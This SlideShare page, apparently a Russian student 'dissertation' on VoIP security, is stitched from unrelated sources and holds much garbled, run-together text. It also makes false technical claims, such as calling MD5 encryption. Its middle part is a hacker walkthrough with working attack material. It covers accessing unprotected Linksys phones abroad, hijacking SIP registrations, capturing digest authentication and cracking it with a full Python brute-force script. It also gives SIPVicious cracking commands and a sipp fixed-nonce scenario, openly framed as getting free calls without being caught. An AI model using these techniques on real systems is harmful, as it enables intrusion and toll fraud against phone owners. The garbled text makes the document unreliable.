SlideShare una empresa de Scribd logo
1 de 31
ДИССЕРТАЦИЯ
Тема: защита VoIP телефонии от прослушки со спутников .
11 миллионов евро ущерба от деятельности VOIP хакеров
VoIP телефония – наиболее распространенная и развивающаяся
область. Количество пользователей VoIP телефонии с каждым годом
увеличивается.
Тема взлома VoIP-шлюзов звучит не так уж и часто. Даже если посмотреть последние
хакерские конференции, то мода на эту тему немного поутихла. Вместе с тем в Сети есть
немало людей, которые хорошо разбираются в теме и умеют эти навыки монетизировать.
Показательным примером стала недавняя история про двух румынских хакеров Каталина
Злейта и Кристиана Сиювата, которые сумели заработать на VoIP более миллиона евро.
Используемые подходы были не слишком замысловатыми. Парни сканировали диапазоны
IP-адресов с extension'ами, которые имели слабые пароли. Наверное, никто бы этого и не
заметил, если бы они просто использовали полученные аккаунты для бесплатных звонков.
Но ущерб от их деятельности составил примерно 11 миллионов евро. Как?!
Как гласят документы следствия, изначально парни ограничивались бесплатными
звонками в различных направлениях. Но аппетиты, как известно, растут, и ребята быстро
смекнули, как можно это монетизировать. За два года они сделали более 23 500 звонков
(это 315 000 минут) на платные номера, предлагающие за денежку самые разные сервисы
(прежде всего справочного типа). Прибыль получалась от участия в партнерских
программах с провайдерами этих самых платных номеров. Была получена первая
прибыль. Осознав, что вдвоем заработать много не получится, была создана специальная
компания Shadow Communication Company Ltd. С этого момента бизнес вышел на
совершенно новый уровень. Нанимая людей и реализовав для сотрудников удобный
интерфейс (в нем, к примеру, отображались цены для звонков на платные номера и
специальные условия вроде ограничения по количеству выполненныхзвонков в день), они
сумели достичь совершенно новых вершин. Более того, была организована компания,
которая сама предоставляла возможность регистрации платных номеров, а для более
эффективной работы — система рефералов, стимулирующая активность.
Теперь уже становится ясно, откуда взялась такая баснословная сумма ущерба для
честных пользователей VoIP. Силами Shadow Communication Company было совершено 1
541 187 несанкционированныхзвонков — это 11 094 167 минут разговора. Не удивляйся
таким цифрам: это подсчет из логов, предоставленныхVoIP-провайдерами. Сейчас по
делу проходят 42 человека в разных городах Европы.
Есть определенные протоколы, которые используются для VoIP
телефонии.
H263, определенный в RFC2190 и 2429 – один из существующих
стандартов. Он накладывается на транспортный протокол реального
времени(Real Time Protocol), RFC1889 – стандарт, применяемый в интернете
и определенный как RFC1889 , в основе которого лежит UDP (User
Datagramm Protocol) - протокол пользовательских дейтаграмм - не
имеющий состояний протокол.
H263 - поддерживает видео сжатие для видео конференций и видео
телефонных приложений.
RTP обеспечивает в IP-сетях доставку адресатам аудио- и видеопотоков в
масштабе реального времени.
UDP – это транспортный протокол для передачи данных в сетях IP без
установления соединения.
Особенности протоколов VoIP и потоковой трансляции медиа – данных.
Основные свойства:
- У них нет встроенной аутентификации
- Отсутствует встроенное шифрование
- Накладываются на UDP
Виды атак:
1. dDoS (Denial of Service) атака – атака посредством добавления
пакетов.
Большинство протоколов основано на RTP , который использует UDP-
протокол как базовый. Хакеры добавляют пакеты в UDP, если они
знают порты сессии и адреса IP.
2. Сниффинг – сессии VoIP легко могут быть перехвачены, а затем
воспроизведены, т.к. у них нет шифрования ARP(Address Resolution
Protocol). ARP – атаки подразумевают фальсификацию ответов на ARP
сообщение. ARP протокол используется для получения MAC
(объяснение) – адресов.
Возможные решения:
1. а) использовать H263. Сессия H263 – взломана
б) тунеллировать (объяснение) VoIP через виртуальную локальную
сеть
Недостатки : виртуальную локальную сеть увеличивает время
передачи ожидания отклика Интернета , следовательно требуется
большая скорость.
2. Положиться на отдельную для любого продукта аутентификацию
Недостатки : аутентификация не входит в стандарт
3. Настройка клиент-сервера так , чтобы он допускал соединения и
участие в сессии только для определенных пользователей.
Недостатки: ограниченное число пользователей и возможность
человеческого фактора.
4. Обезопасить интернет-серверы, чтобы хакеры не взломали сервер с
помощью других методов.
Недостатки : фактически нет безопасных серверов , или их
разработка стоит больших затрат.
Приведем схему протоколов, используемых в VoIP телефонии:
Есть также следующие кодеки:
Speex
iLBC 30ms
iLBC 20ms
GSM
G.726-32
Предложим следующее решение проблемы:
Использовать шифрование данных на уровне кодека G.711 и на
уровне RTP и UDP протоколов. Мы используем алгоритм шифрования
MD5. Предполагается шифровка связи для VoIP телефонов.
1. Хакерские атаки– почемуи как.
В век использованияИнтернет всемкрупнымфирмамиконцернамугрожаютхакерские атаки.
Серверануждаютсяв сильнойзащите.
Существуют5 видов атак:
1. DistributedDenialof Service атаки
- обычнонацеливаютсянасеть черезтрехслойныесистемы
- цель- достичьоткрытые портыиподсоединитьсяв сеть илисистему
- они взламываютсетьчерезпотокзапросови обнаружение ipадресовиделают
перезагрузкусистемы
- главная cистемаобычнолегковосстанавливаетсяпосле таких атак
2. Троянские кони
- софт маскируетсяпод нечтодругое ивнедряется в систему
- в нем либосодержится*back door*(позволяетдругимвойтив систему и сделатьто,что они
хотят,покавы пользуетесьвашимсофтом) или*trigger* (устанавливаютсебяв off когда
триггерится,даже по дате или времениилисериисобытий etc и ваша система будетнакрытаили
атаковатьдругие компьютеры,м.б.частью DDoSатаки)
- SpyWare- наименее вредоноснаяверсия
- труднадля обнаружения
3. Вирусы
- более общее
- первичное делоэторепликацияиразмножение самогосебяи затем разрушитьи атаковать
хостовуюсистему
4. Веб-сайты
Злокачественныесайты,которые используютизвестные дыркивсистеме,чтобытриггеритьваш
веббраузер, чтобызаставить неправильнофункционироватьсистему(напримерстараяверсия
ActiveX имеетдыру,котораяпозволяетсодержимомувлюбойоднойпапке или директориина
вашемжесткомдиске аплоадитьавтоматическивебдиректориюилипослатьемайл получателю)
5. Черви
- этопотребление ресурсовдотех порпока,системав конце концов не перезагрузитсяине рухнет
- комбинацияDDos и вирусных атак
- обычноразмножаетсятак часто,как возможно, чтобыраспространитьсятакширококак они
могут
- обычностроитсядля определенноготипасистемы(дальше простонепонятночтоониимелив
виду, извините)
- общая цель– этонаибольшие системы( корпоративные сетии etc) ; строящиесячтобы
перезагрузитьданные ифильтроватьсяпод неавторизованнымпользователем(например
корпоративное spies)
- например SobigиMydoom
На данный момент VOIP телефонияподвергаетсяпокрайнеймере 2 атакам– DDos и ARP
Есть разработанные продукты,которые продаютсявкомплексе.Рассмотримодиниз таких
продуктов.
1. Protocols(IP,H.323,SIP,SCCP);
2. NetworkInfrastructure (Routers,Switches,Firewalls)
3. OS (Windows,Linux ,AIX)
4. IP PBX/ManagementServer
5. IP Phones
6. SoftPhones
Существуютнескольковидоватак.
a) dDoS
b) Remote Compromise
c) Worms
d) Viruses
Составим таблицуслабых мести атак.
1. – a)
2. – a) b) c)
3. - a) b) c) d)
4. - a) b) c) d)
5. - a) b) c)
6. - a) b) c) d)
VOIP телефонпомимо dDoSатакчасто подвергаетсятакже ARP атакам.
Дадим краткуюсправку,чтотакое ARP атаки.
ARP атаки – address resolution protocol –протокол , имеющийinternetprotocol IPv4, карту IP
сетевогоадреса. Hardware addresses использует datalink protocol.
ARP имитирует соединение.ПробкачерезARP man-in-the-middle атаки.Любойчеловекможет
shadowVOIP телефонные звонки.
Постановка задачи
Защита VOIP телефонииотхакерских атак.
Решение
1) Protocols -> должнобытьтолько httpsсоединение
2) Network Infrastructure ->firewall
3) OperationSystem Windows ->Kaspersky
4) IP PBX/ManagementServer
Длязащиты мини –атс предлагаюследующуюмногослойнуюсистему.
a) Windows
– dDoSатаки
- ARP атаки
Длязащиты Windows – KasperskyAntivirus
b) На Windows ставится VMWare (бесплатная) илиParallels (платная)
c) На VMWare ставится LINUX
d) И уже на LINUX ставится Asterisk.(МиниАТСдляVOIP телефона)(СПРЯТАТЬСИСТЕМУВ
СИСТЕМЕ)
5) IP Phone
6) SoftPhones
5) 6) IP telephone->Защита на уровне кодековG.711, на уровне RTP и UDP протоколов->
Mobile telephone
Цель этой статьи - обсудить две самые распространенные атаки на VoIP. Первая
демонстрирует возможность перехвата VoIP соединения и последующего общения вместо
жертвы, вторая - возможность подслушивания. По мнению экспертов такие виды
нападения станут наиболее распространенными с дальнейшим развитием VoIP.
SIP
Session Initiation Protocol (RFC 3261) - стандарт, используемый в VoIP для установления и
разрыва связи (в данном примере используется именно он, хотя есть еще и другие
сигнальные протоколы - RAS (Registration, Admission, Status), SCTP). На рисунке
показаны сообщения, которыми обмениваются пользователи в процессе звонка.
В первом шаге устройство пользователя (User Agent) регистрируется в доменном
регистраторе, ответственном за содержание базы данных всех подписчиков домена.
Регистрация в VoIP обязательна так как обеспечивает поиск и контакт с удаленным
клиентом. Когда пользователь Б хочет соединиться с пользователем А, он посылает
INVITE запрос прокси-серверу. Прокси-сервер в данном случае отвечает за роутинг SIP
сообщений и обнаружение участников. Когда прокси сервер получает INVITE запрос от
клиента, он пытается определить местонахождение другого участника и выполняет ряд
других шагов, докладывая всю информацию (типа DNS запросов и SIP сообщений)
звонящему. Как мы увидим дальше, перехват регистрации возможен именно в ходе
регистрации устройства в первом шаге.
Перехват регистрации
Перехваченный пакет показывает правильную регистрацию и ответ от SIP регистратора,
который сообщает о готовности пользователя к контакту.
В запросе типа REGISTER поля From и To должны совпадать, из запроса так же видно,
что регистрация истекает через 60 секунд, а в поле Contact так же указывается SIPS
URI, который указывает на прямой путь к устройству, обычно составляемый из имени
пользователя из FQDN (fully qualified domain name).
Запрос REGISTER содержит заголовок Contact, показывающий IP адрес
пользовательского устройства (будь то железный телефон или программа). Когда прокси
получает запрос на обработку входящего звонка (INVITE), он выполняет lookup запрос
для идентификации где целевой пользователь может быть обнаружен. В данном случае
пользователь с номером 201-853-0102 может быть найден на IP адресе 192.168.94.70.
Прокси форвардит INVITE запрос на этот адрес, как видно - на порт 5061. Этот порт
зарезервирован за SIPS и в данном случае это нарушение стандарта, описанного в RFC
32610.
Дальше мы показываем модифицированный REGISTER запрос, посылаемый атакующим.
Очевидно, что все поля заголовка остались теми же самыми, за исключением поля Contact,
который теперь указывает на адрес атакующего (192.168.1.3).
REGISTER запрос посылается на SIP службу регистрации по адресу 192.168.1.2. Для этого
используется утилита SiVuS, скриншот ее можно видеть ниже, а саму ее легко скачать
отсюда: http://www.vopsecurity.org/html/tools.html.
Таким образом перехват работает так:
1. Устраняем пользовательскую регистрацию. Этого можно добиться:
- DoS атакой
- устранением записи (эта атака не рассматривается в этой статье)
- генерацией повторяющихся REGISTER запросов с коротким промежутком
(например, каждые 15 секунд) для перезаписи легитимных пользовательских
запросов (в том случае, если регистрация происходит через интервалы времени, ты
должен будешь перерегистрироваться всякий раз после регистрации уязвимого
клиента)
2. Посылаем REGISTER запрос с нашим адресом.
На этом рисунке приведен пример такого нападения:
0 - DoS атака
1 - регистрация пользователя
2 - запрос на начало сессии
3 - прокси - запрос домена и роутинг
4 - прокси - запрос пользователя (SIP прокси получает IP адрес хакера)
5 - прокси-прокси - соединение пользователей
6 - ответ абонента
7 - прокси форвардит ответ - соединение создано и поток медийные данные передаются
между телефонами
Атака возможна из-за следующих причин:
 Сообщения посылаются в открытом виде, что позволяет хакеру перехватывать их,
изменять и отвечать на них.
 Текущая реализация сообщений SIP не поддерживает контроля содержания, что
позволяет его модификацию и невозможность обнаружения этого.
Продолжаем наш рассказ о взломе VoIP. В прошлый раз мы рассмотрели ситуацию с
перехватом сессии, когда мы представляемся клиентом и получаем всю информацию. В
этот раз объясним как осуществить "прослушивание" данных, передающихся в VoIP.
Данная а
Прослушивание
Перехват данных VoIP несколько отличается от традиционного захвата данных в сети, но
общая концепция остается той же самой. Прослушивание требует перехвата пакетов
установления связи и ассоциированного медийного потока. Сигнальные сообщения
используют другой сетевой протокол (UDP или TCP) и порт, отличный от самой передачи
данных. Медиа поток обычно передается через UDP с использованием RTP (Real Time
Protocol).
Для перехвата потока данных можно использовать любой снифер, например все тот же
Ethereal. Система выглядит таким образом:
 Перехватить и декодировать RTP пакеты (опция Analyze -> RTP-> Show all streams)
 Проанализировать сессию - собрать пакеты (просто выбрав поток)
 Сохранить поток (сохранить адуио файл (.au), содержащий голос, )
Можно возразить, что такой алгоритм не действует в IP сетях, разделенных свичами,
которые не транслируют трафик на всю сеть, а доставляют прямо абоненту. Это, конечно,
верно, однако и тут существует решение - любимый нами всеми ARP-спуфинг и атака
класса man-in-the-middle. Рассматривать в этой статей ARP-спуфинг я думаю смысла не
имеет, мы много раз в подробностях рассказывали о таком нападении.
Встряв между звонящим пользователем А и принимающим звонок пользователем Б хакер
и получает возможность сохранить все общение себе на диск. есте6венно существуют
утилиты, которые совмещает в себе все возможности - это, например, снифер Cain&Abel
(http://www.oxid.it/cain.html).
Он может осуществлять как атаку класса MitM, так и захват VoIP трафика.
Мораль
Эта атака так же возможна из-за передачи данных по сети в незашифрованном виде -
пакеты установления связи передаются открытым текстом, а медийный поток может
восстановить любой перехвативший.
В качестве защиты можно посоветовать использовать TLS (Transport Layer Security) для
защиты SIP сигналов и SRTP (Secure Real Time Protocol) для защиты голоса. К сожалению
провайдеры VoiP пока не спешат с внедрением такой защиты уповая на волю случая..
Сегодня мы будем развивать интересное умение — поиск шлюзов IP-телефонии и их
эксплуатацию. Так, чисто из любопытства. Вполне вероятно в результате мы получим
полноценный плацдарм для наших хакерских опытов и, конечно же, безлимитный
телефон.
С чего все начиналось
На тему астерисков и подбора паролей к ним написано очень много статей. Люди в теме
наверняка слышали про набор утилит sipvicious, а многие их даже уже попробовали.
Однако, когда ты сканируешь сеть при помощи svmap.py (скрипт входит в
вышеупомянутый комплект), то в Сети помимо астерисков находятся различные VoIP-
железки, как то: Cisco, AddPac, Linksys и так далее. Как правило, у них есть собственный
web-интерфейс. И если ты думаешь, что он запаролен, то ты, наверное, прав. Но не всегда
:). У Linksys по умолчанию нет пароля на web-интерфейсе. А зря, ведь многие их железки
могут быть доступны извне.
Осваиваемся
Переходим к практике. Просканировав пару подсетей, я нашел VoIP-телефон SPA-841.
Судя по IP-адресу, он находится в Перу, а конкретнее — в городе Лима. Я зашел на этот
телефон, и оказалось, что внутри не выставлен ни пользовательский пароль, ни
админский, а значит, с VoIP-телефоном можно делать что угодно. На телефонах Cisco-500
во вкладке "Voice -> Phone" существует поле "Text Logo". И его довольно легко поменять.
Например, на ряде штатовских шлюзов я проставил фразу "from Russia with Love" и она
отображалась на дисплее VoIP-телефона :). Как правило, после этого у железки сразу же
менялся IP (либо на web все-таки ставили пароль), и у меня пропадал к ней доступ. Но
было и такое, что заставка провисела на телефоне две недели, хотя вызовы совершались
каждый рабочий день. В среде администрирования можно сменить параметры интернет-
соединения, тогда шлюз совсем перестанет работать. Можно его запаролить,
переименовать любые контакты... В общем, на что хватит фантазии. Но это все
ребячество. Как же из такой находки получить реальную пользу? Через web, например, я
вижу, где регистрируется шлюз, какой у него username и auth id (если есть), но не знаю
пароль. Первым делом проверяю, не используется ли пароль, равный логину. Это можно
сделать, вбив данные в сип-клиент. Обычно отображается ошибка 403 (пароль не
подходит), однако даже в этом случае еще не все потеряно.
SIP-регистрация
Рассмотрим, как происходит процесс SIP-регистрации. Изначально клиент отправляет на
Softswitch (например, Asterisk) запрос "REGISTER", в котором нет пароля, а есть только
contact. В ответ приходит сообщение "401 Unauthorized", в котором указано, что нужно
пройти "Digest access authentication". В присланном сообщении сгенерированы nonce и
realm. Используя nonce и realm (полученные от сервера), пароль и username (прописанные
на шлюзе), а также digesturi, шлюз генерит md5-хэш — response — и отправляет все это
обратно на Softswitch, который проверяет присланные данные. Если они верные, то
возвращает 200 ОК, если нет — снова 401. Получается, если достать дамп регистрации, то
у тебя окажутся все данные, кроме пароля, а его можно будет подобрать. Для этого
устанавливаем астериск, заводим в нем единственный peer, вбиваем username, как на
шлюзе, и прописываем любой пароль. Затем применяем настройки.
Простейший пир из /etc/sip.conf:
[peru]
type=friend
username=*username со шлюза*
secret=helloworld
host=dynamic
disallow=all
allow=alaw
allow=ulaw
Далее я запускаю на астериске команду tshark с фильтром по порту 5060 и записью дампа
в файл: tshark port 5060 -w /tmp/001.pcap. Затем, зайдя на шлюз, меняю значение
Proxy на IP-адрес астериска и жму "Submit all Changes". Когда у меня на часах 10 утра, то
в Перу 2 ночи, так что работать со шлюзом очень удобно — можно не опасаться, что
перезагрузка шлюза привлечет чье-то внимание. После того как шлюз ребутнулся, в
tshark'e ловятся четыре пакета, что означает получение всех необходимых данных. Затем я
возвращаю прежнее значение Proxy и снова применяю настройки.
Подбор пароля
Далее я открываю дамп (например, при помощи Wireshark). Там нахожу пакет REGISTER
с response — теперь все данные есть, и дело за малым — написать скрипт для подбора
пароля. Кстати, можно ловить данные и в консоли астериска, для этого набираем в CLI
"sip set debug on" и смотрим содержимое пакетов. Ввиду того, что скрипт, при помощи
которого был найден шлюз, писался на питоне, я решил не отступать от традиции и
написал очередной сценарий также на питоне. В нем мне нужно перебирать весь алфавит.
Для этого я использовал готовый класс — он решает проблему с генерацией всех
возможных вариантов пароля и позволяет задать алфавит для перебора (то есть искать
только среди цифр, строчных букв и любых их сочетаний). А также задать длину пароля,
начальное и конечное его значения.
Запрос на регистрацию в Wireshark
#!/usr/bin/python
import md5 # подключаем библиотеку, которая будет генерить md5-хэш
# дальше идет класс для подбора пароля
EN = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
# перечисление алфавитов
en = "abcdefghijklmnopqrstuvwxyz"
digits = "1234567890"
space = " "
p = ",.-!?;:'"/()"
op = "+-*/:^()><="
all_spec = "'~!@#$%^&amp;*-_=+|/?.&gt;,>'";:[]{}"
class ABCIterator:
# ... здесь следует класс, спертый из интернета :)
# ...
# класс закончился, переходим к вводу данных
u=(raw_input('username >> '));
b=(raw_input('realm >> '));
m=(raw_input('method >> '));
d = (raw_input('digestURI >> '));
r = (raw_input('response >> '));
n = (raw_input('nonce >> '));
print u,b,m,d,r,n;
ha2= md5.new(m+":"+d).hexdigest();
# генерим часть ha2 — она будет использоваться для хэширования
response=0;
ch=0; # в эту переменную будет сохраняться
# порядковый номер пароля
for i in ABCIterator(start_len=1, stop_len=8, abc=digits+en):
# указываем, что длина пароля начинается с 1,
# заканчивается на 8, # и при переборе используются
# цифры и буквы нижнего регистра
ch = ch+1;
if ch % 500000 == 0: print i;
# это позволяет выводить на экран только каждый 500000-ый
# вариант пароля
ha1 = md5.new(u+":"+b+":"+i).hexdigest();
response = md5.new(ha1+":"+n+":"+ha2).hexdigest(); # хэшируем
if r == response: # сравниваем хэш с полученным от шлюза
print "------------------>", i;
# если они совпадают, выводит пароль и прекращаем поиск
exit(0);
Как брутят SIP-аккаунты?
Многие атаки на VoIP сводятся к поиску неправильно настроенныхPBX (private branch
exchange) или, по-русски говоря, офисных АТС. Различного рода сканирования, анализ и
подбор паролей чаще всего осуществляются с помощью упомянутого в тексте статьи
набора скриптов SIPVicious, написанныхна Python'е и работающих под разными ОС.
Чтобы лучше понимать материал, вспомним, как осуществляются основные действия на
простом примере.
1. Сканирование диапазона подсети (пусть это будет 192.168.1.1/24), чтобы найти BPX.
[you@box sipvicious]$ ./svmap 192.168.1.1/24
| SIP Device | User Agent |
---------------------------------------------
| 192.168.1.103:5060 | Asterisk PBX |
Если верить результатам, то АТС найдена на IP-адресе 192.168.1.103, а работает она на
базе Asterisk PBX.
2. Поиск extention'ов (грубо говоря, виртуальных номеров) на найденной АТС. Эти
аккаунты можно будет использовать для осуществления звонков.
[you@box sipvicious]$ ./svwar.py 192.168.1.103
| Extension | Authentication |
------------------------------
| 123 | reqauth |
| 100 | reqauth |
| 101 | noauth |
Итак, найдено три номера. Мы видим, что номер 101 не требует авторизации. А для 100 и
123 необходима авторизация.
3. Подбор пароля, подставляя числовые значения (они используются более чем часто):
[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 100
| Extension | Password |
------------------------
| 100 | 100 |
Для extention’а "100" пароль подобран!
4. Подбор пароля с использованием словаря:
[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt
| Extension | Password |
------------------------
| 123 | secret |
Есть пароль и для номера 123!
Вот так просто мы нашли АТС, рабочие аккаунты и подобрали для них пароль.
Злоумышленник может подставить найденные логин-пароль в свой SIP-клиент (например,
X-Lite) и осуществить звонки.
Пароль найден
Итак, скрипт отработал и подобрал пароль, а значит — можно прописывать данные в
астериск и думать, что регистрация прошла успешно. Новый халявный транк для звонков
на Кубу готов :). Вообще технологию можно доработать, ведь каждый раз перебирать
пароль нецелесообразно. Имея доступ на шлюз, можно менять не только значение Proxy,
но и username. Если найденные шлюзы регистрировать всегда на одном и том же сервере,
то realm всегда будет asterisk, а digesturi — не меняется. Это значит, что достаточно
научиться всегда отправлять в ответ на REGISTER сообщение 401 с постоянным nonce.
Тогда можно составлять свою таблицу с хэшами паролей, так как все параметры
от шлюза к шлюзу будут одинаковые (кроме пароля). Нужно перебирать все возможные
пароли с постоянными realm, digesturi, username, метод — REGISTER, nonce и сохранять в
базу соответствие "пароль-response", причем для каждого нового шлюза только делать
выборку по response и сразу находить пароль. Затем генерить в ответ на регистрацию
пакет 401 с одним и тем же nonce (это может программа sipp). Если составить такую базу
данных, то можно открывать сервис по восстановлению забытых на шлюзах паролей для
регистрации, вот только база получится слишком объемной :). Чтобы отвечать на
REGISTER шлюза в sipp, надо использовать сценарий.
Cценарий для sipp — nonce.xml:
<?xml version="1.0" encoding="ISO-8859-1" ?>
<scenario name="register">
<recv request="REGISTER"/>
<send>
<![CDATA[SIP/2.0 401 Unauthorized Via: SIP/2.0/UDP [local_ip]:5060;
branch=[branch];received=[remote_ip] From: *username со шлюза* <sip:*username
со шлюза*@*ip c Asterisk*> To: *username со шлюза* <sip:*username со
шлюза*@*ip c Asterisk*> Call-ID: [call_id] CSeq: [cseq] REGISTER Server:
Asterisk PBX 1.6.2.13 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER,
SUBSCRIBE, NOTIFY, INFO Supported: replaces, timer WWW-Authenticate: Digest
algorithm=MD5, realm="asterisk", nonce="17852b0a" Content-Length: [len] ]]>
</send>
</scenario>
Благодаря опции <recv request="REGISTER"/> sipp отправит наш "магический" пакет
только когда придет запрос на регистрацию. Останавливаем астериск, чтобы он не отвечал
на запросы со шлюза, затем создаем сценарий и из этой же папки запускаем sipp:
sipp -sf nonce.xml *ip шлюза* -i *ip c Asterisk* -trace_msg -l 10 -r 1 -rp
1000
Запускаем tshark с записью в файл и пробуем зарегистрировать шлюз. Открываем дамп и
снова видим все данные, которые требуются для перебора.
Добытые данные можно использовать для подложной регистрации на сервере, даже не
подбирая пароль, но это уже тема для другой статьи. Вот такой незамысловатый способ
обеспечить себя бесплатными звонками, если повезет — то в любую точку мира, а если
сильно повезет (или если использовать меры предосторожности), то еще и никогда не
поймают :).
Info
На самом деле, незапароленные шлюзы можно искать и при помощи Google. Если в
поисковом запросе ввести intitle: "Sipura SPA Configuration", то найдется немало шлюзов
Линксис, на которых не выставлен пароль.
Кодеки
Существуютследующие кодекидля VoIP телефонии:
Под кодеками,как правило,понимаютразличные математические модели,используемые для
цифровогокодирования (исжатия) аналоговойаудиоинформации.Многие из этих моделей
учитываютспособностьчеловеческогомозгаформироватьзаконченное впечатление понеполной
информации.Все мы виделиоптические иллюзии;точнотакже алгоритмысжатия голоса
используютнашуспособностьпредставлятьто,что,как нам кажется,мы должныслышать,а не то,
что мы фактическислышим.Цельразличных алгоритмовкодирования –обеспечитьбалансмежду
эффективностьюикачеством3.Изначальноподтермин«кодек» был образованотслов
КОдер/ДЕКодер –этоустройство,которое выполняетпреобразованиямеждуаналоговыми
цифровым сигналом.Теперьэтоттермин,кажется,больше относитсякпонятиям
КОмпрессия/ДЕКомпрессия.
G.711 – основнойкодекPSTN.В сущности, приупоминанииИКМв связи с телефоннойсетью
можно смелоиметьв виду G.711. Используетсядва методакомпандирования:μlaw в Северной
Америке иаlawво всем остальноммире.Любойиз них обеспечиваетпередачу8-битовогослова
8000 раз в секунду.Если
произвестивычисления,можноувидеть,чтоэтопотребуетпередачи64000 бит/с.
Многие скажут вам, чтоG.711 – это кодекбезсжатия. Это не вполне так, поскольку
компандирование считаетсяформойсжатия. На самом деле G.711 являетсябазовым кодеком,от
которогобылипроизведенывсе остальные.G.711налагаетминимальную(практическинулевую)
нагрузкуна ЦП.
G.726 Этоткодек активноиспользовалсянекоторое время(егоназывалиG.721, но сейчас он
вышел из употребления) иявляетсяоднимиз исходных кодековсо сжатием. Эта технология
известна как адаптивнаядифференциальнаяимпульсно-кодоваямодуляция(Adaptive Differential
Pulse-Code Modulation,ADPCM),онаобеспечиваетразнуюскоростьпередачиданных.Чаще всего
используютсяскорости16, 24 и 32 Кбит/с.На моментнаписанияданной книги Asterisk
поддерживалатолькоADPCM-32,несомненно,самуюпопулярнуюскоростьпередачиданных для
этогокодека.
G.726 предлагаеткачествопрактическитакое же,каку G.711, но используеттолькополовину
полосыпропускания.Этовозможнопотому,чтоонотправляетне результатизмерения,атолько
достаточнуюинформациюдля описанияразницы междутекущими предыдущимзамерами.
G.726 потерял популярностьв1990-х годах из-за неспособностипередаватьсигналымодемаи
факсов, но сейчас она вновьвозвращается благодаряобеспечиваемомуимсоотношению
пропускнаяспособность/нагрузканаЦП.G.726 особеннопривлекателен,потомучтоне требуетот
системыпроведениябольшогообъемавычислений.
G.729A Учитывая,насколькомалуюполосупропусканияиспользуеткодекG.729A,он
обеспечиваетвпечатляющее качествозвука.Делает онэтоза счеттехнологииConjugate-Structure
Algebraic-Code-ExcitedLinearPrediction(CS-ACELP)1. G729A являетсязапатентованным
продуктом,поэтомуегонельзяиспользоватьбезлицензии;однакоончрезвычайнопопулярени,
соответственно,поддерживаетсямногимиразнымителефонамиисистемами.
Чтобыдостичь такой значительнойстепенисжатия,этоткодектребуеттакойже значительной
работыот ЦП.В системе Asteriskиспользованиекодековсбольшойстепеньюсжатиябыстро
приводитк перегрузке ЦП.ДляG.729A требуетсяпропускнаяспособность8Кбит/с.
GSM– самый любимыйкодекAsterisk.Онне обремененлицензионнымисоглашениями,как
G.729A, и предлагаетпревосходнуюпроизводительность,еслиучитыватьтребования,которые он
предъявляеткЦП.Качествополучаемогозвука,в общем,считаетсяниже,чемобеспечивает
G.729A, но этопреимущественносубъективное мнение;обязательнопопробуйтеего.Скорость
передачиданных GSM – 13 Кбит/с.
Speex– это кодекс переменнойскоростьюпередачицифровых данных (variable bitrate,VBR).Это
означает,чтоон можетдинамически менятьскоростьпередачиданных в ответна изменение
условийсети.Он предлагаетсякакв узкополосном,такив широкополосномвариантах в
зависимости от того,какого качествазвук требуетсяполучить(телефонногоилилучше).
Speex –абсолютнобесплатныйкодек, лицензированныйповерсии
Xiph.orgлицензииBSD.ВИнтернетедоступенпроект спецификацииSpeex.Больше информациио
Speex можнонайтина его странице (www.speex.org).Speexможетиспользоватьсядляканаловсо
скоростьюпередачиданных от2,15 до 22,4 Кбит/с благодаряегоспособности менятьсвою
скоростьпередачиданных.
iLBC (internet Low Bitrate Codec) - это СВОБОДНЫЙ кодек речи предназначенный для
передачи речи по IP сетям. Этот кодек разработан для использования узкого частотного
звукового диапазона речи и, как результат, требуется небольшая полоса пропускания
канала 13.33 kbit/s, при кодировании речи порциями по 30 ms, и 15.20 kbps, при
кодировании речи порциями по 20 ms. Кодек iLBC позволяет достичь не сильной
деградации качества речи в случае потерь пакетов данных, которые происходят в канале
связи из-за потерь или задержек IP пакетов.
Возможности
 Битрейт 13.33 kbps (399 бит, собранные в пакет размером 50 байт) при
кодировании речи порциями по 30 ms и 15.2 kbps (303 бит, собранные в пакет
размером 38 байт) при кодировании речи порциями по 20 ms
 Качество выше, чем у кодека G.729A, высокая устойчивость к потерям пакетов
 Сложность вычислений находится на уровне кодека G.729A
 Кодек со свободными условиями лицензирования
G.729 isan ITU standardcodec.
Has two mainflavors:A and B, see the ITU G seriespage formore info.
It offerstoll qualityspeechata reasonablylow bitrate of 8Kbps.However,itisa rather "costly"codecin
termsof CPU processingtime,therefore some VoIPphonesandadapters(notablythe
Linksys/Sipura/Ciscobrands) canonlyhandle one G.729 call (channel) ata time.Thiscan cause callsto
fail if the userattemptsto use three-waycalling,orplace simultaneouscallsonbothlinesof atwo-line
device,andG.729 isthe onlyallowedcodec.
μ-lawalgorithm
Compandingof μ-lawandA-lawalgorithms
The µ-law algorithm (often u-law, ulaw, or mu-law) is a companding algorithm, primarily used
in the digital telecommunication systems of North America and Japan. Companding algorithms
reduce the dynamic range of an audio signal. In analog systems, this can increase the signal-to-
noise ratio (SNR) achieved during transmission, and in the digital domain, it can reduce the
quantization error (hence increasing signal to quantization noise ratio). These SNR increases can
be traded instead for reduced bandwidth for equivalent SNR.
It is similar to the A-law algorithm used in regions where digital telecommunication signals are
carried on E-1 circuits, e.g. Europe.

Обзор алгоритмов
Algorithm types
There are two forms of this algorithm—an analog version, and a quantized digital version.
Continuous
For a given input x, the equation for μ-law encoding is[1]
,
where μ = 255 (8 bits) in the North American and Japanese standards. It is important to note that
the range of this function is −1 to 1.
μ-law expansion is then given by the inverse equation:
The equations are culled from Cisco's Waveform Coding Techniques.
Discrete
This is defined in ITU-T Recommendation G.711.[2]
G.711 is unclear about what the values at the limit of a range code up as. (e.g. whether +31 codes
to 0xEF or 0xF0). However G.191 provides example C code for a μ-law encoder which gives the
following encoding. Note the difference between the positive and negative ranges. e.g. the
negative range corresponding to +30 to +1 is −31 to −2. This is accounted for by the use of a 1's
complement (simple bit inversion) rather than 2's complement to convert a negative value to a
positive value during encoding.
Quantizedμ-lawalgorithm
Implementation
There are three ways of implementing a μ-law algorithm:
Analog
Use an amplifierwithnon-lineargaintoachieve compandingentirelyinthe analogdomain.
Non-linearADC
Use an AnalogtoDigital Converterwithquantizationlevelswhichare unequallyspacedtomatch
the μ-lawalgorithm.
Digital
Use the quantizeddigital versionof the μ-law algorithmtoconvertdataonce it isin the digital
domain.
Usage justification
This encoding is used because speech has a wide dynamic range. In the analog world, when
mixed with a relatively constant background noise source, the finer detail is lost. Given that the
